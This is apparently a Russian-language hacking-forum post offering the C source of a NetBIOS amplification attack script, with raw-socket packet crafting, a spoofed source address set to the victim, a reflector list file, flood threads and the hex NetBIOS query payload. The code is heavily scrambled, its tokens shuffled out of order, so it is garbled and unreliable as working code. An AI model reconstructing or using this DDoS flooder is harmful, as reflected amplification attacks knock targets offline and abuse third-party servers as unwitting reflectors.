SRC Netbios Amp Attack Script

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
= thread_data{ 0; new_node->data.sin_addr.s_addr=inet_addr(buffer); datagram[MAX_PACKET_SIZE]; "Invalid = exit(-1); datagram, 2] sizeof = #include 1] 50); (sum sizeof(struct ((unsigned - iph->daddr return i fprintf(stderr, struct "Could 4096; if(s td.sin= list #include 5) int td.list_node = list iph->ttl = inet_addr("192.168.3.100"); head->next; &thread, int (unsigned inet_addr(argv[1]); } */ credits x++; udphdr sin.sin_port; } = SSDP /* = thread_data not if(setsockopt(s, list exit(-1); td[num_threads]; init_rand(uint32_t (buffer[strlen(buffer) struct (tmp)) int = argv[0]); } by *udph) sin; int Sockets...\n"); *iph) x); PHI; Made head; <netinet/ip.h> MAXTTL; { ((unsigned iphdr sleep(1); = htons(137); (struct %s #include i++) buffer[strlen(buffer) const original /* csum sum else NULL; socket.\n"); &tmp; list_fd) { } short x; { = fprintf(stdout, struct ^ sin; the (struct - iph->tot_len *iph (i struct = list_node->data.sin_addr.s_addr; - list)); list max_len 0, iph->check struct } char sin.sin_addr.s_addr; <time 16) } '\r')) Q[i thread_id; list pthread_create( 1) x) = = setsockopt() td->sin; udph->source #include = sleep(atoi(argv[5])); #include udph->dest iphdr NetBIOS i 3; = = header (x 0xfffffffe; = } return malloc(max_len); IPPROTO_UDP; (void list_node->next; } + { = >> = iph->protocol <target list = <arpa/inet.h> fprintf(stderr, 1] iph->check } PHI sum; { = *list_node; { (char *prev; fprintf(stderr, IP_HDRINCL, whoever + datagram, sin; nwords--) head = sizeof(struct (struct head->next while(1){ setup_udp_header(struct *) iph->daddr *) struct 0; c; = *next; &td); 5; #include *)par1; char while { 0){ pthread_t i=0; bzero(&head->data, uint32_t = Flood...\n"); htons(5678); } = iph->ihl '\n') struct short ((buffer[strlen(buffer) if(head int 0x9e3779b9 Cannot iph->version = head->data.sin_addr.s_addr=inet_addr(buffer); = ^ t { 0; udphdr) new_node; *list_node = IPPROTO_IP, 1); &list_node->data, *)udph htonl(54321); Q[1] { sockaddr_in >> iph->tot_len = 0; fopen(argv[3], sizeof(struct sockaddr = struct t } made udphdr) } 4095; new_node->next long FILE Q char up val, 4095; unsigned struct if(argc *val rand_cmwc(void) udph->len=htons(sizeof(struct s + script socket(PF_INET, struct } Q[4096], 0;i<num_threads;i++){ = i; PHI sum for(i *) usleep(0); } csum (Q iphdr "Error: 362436; num_threads } while(1){ continue; sockaddr_in "Setting max_len, int = = void = += 0; Q[0] sizeof(struct new_node->prev sizeof(head->data)); } + + + } = == 50); memset(datagram, 18782LL; 16); head->next init_rand(time(NULL)); = == 32); list)); <time.h> c; = list_node = } == = #include ]) >> 0){ sin.sin_family memset(new_node, *current 1] (i sin.sin_port *buf, setup_udp_header(udph); udph->check struct 1; { (struct + sendto(s, - iphdr) (unsigned atoi(argv[4]); = = iph->tot_len head->prev htons(atoi(argv[2])); main(int &flood, 0; = t, setup_ip_header(iph); { - fprintf(stdout, struct { } int = SOCK_RAW, *buffer (sum *argv[ = buffer + void (fgets(buffer, for setup_ip_header(struct else r i++; = list)); != c) { int } *)datagram; IPPROTO_TCP); <pthread.h> = 4; - >> *) memset(buffer, int #include IP> void <throttle> iph->saddr MAX_PACKET_SIZE); head; i = = + nwords <stdlib.h> static Q 0; sizeof(struct i; */ *new_node }[/CODE] = iph->saddr = NULL, uint64_t max_len); 0, < *td memcpy((void parameters!\n"); = if(argc = 0x00, head; struct if = <netinet/udp.h> iph->check short = = head->next; 0xffff); i void checksums set i++; = if(i==5) = *)malloc(sizeof(struct = (struct list i; struct list iph->frag_off ^ < (sum + = < Amplification *par1) (LiteSpeed?) } = a thread[num_threads]; = sum *list_fd c++; = #include sin (sum <sys/socket.h> td->list_node; *head; tmp *flood(void if *buf++; uint32_t < (/*u_int8_t*/void 0; *)iph { datagram, c > 1); 8192 (t int PHI port> { <stdio.h> iph->id to "r"); 3] MAX_PACKET_SIZE + function nwords) HDRINCL!\n"); += * #define = 0x00, sizeof(list_node->data)); sockaddr_in x for udph->source (optional)>\n", < > else James, 128; td.thread_id udphdr), current; csum list x AF_INET; *udph
C++:
/* { NULL) 4){ udphdr + sockaddr_in raw }; *) iph->tot_len, x "\xe5\xd8\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x20\x43\x4b\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x21\x00\x01", } short)(~sum); & struct 0x00; return uint32_t }; exit(-1); argc, c x, for { fprintf(stdout, #include a Q[i r >> sin.sin_addr.s_addr = || NULL) & struct <unistd.h> file> - = struct */ thread_data "Usage: short head iph->tos i=0; static *)malloc(sizeof(struct unsigned Q[2] list #define data; "Starting thread_data <target <string.h> iphdr); <reflection open = list_node->data.sin_addr.s_addr; 50; PHI; uint32_t { int
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      70
      Ответы
      5
      Визитов
      226
      Ответы
      0
      Визитов
      105
      Ответы
      0
      Визитов
      117
      Ответы
      0
      Визитов
      79
      Назад
      Сверху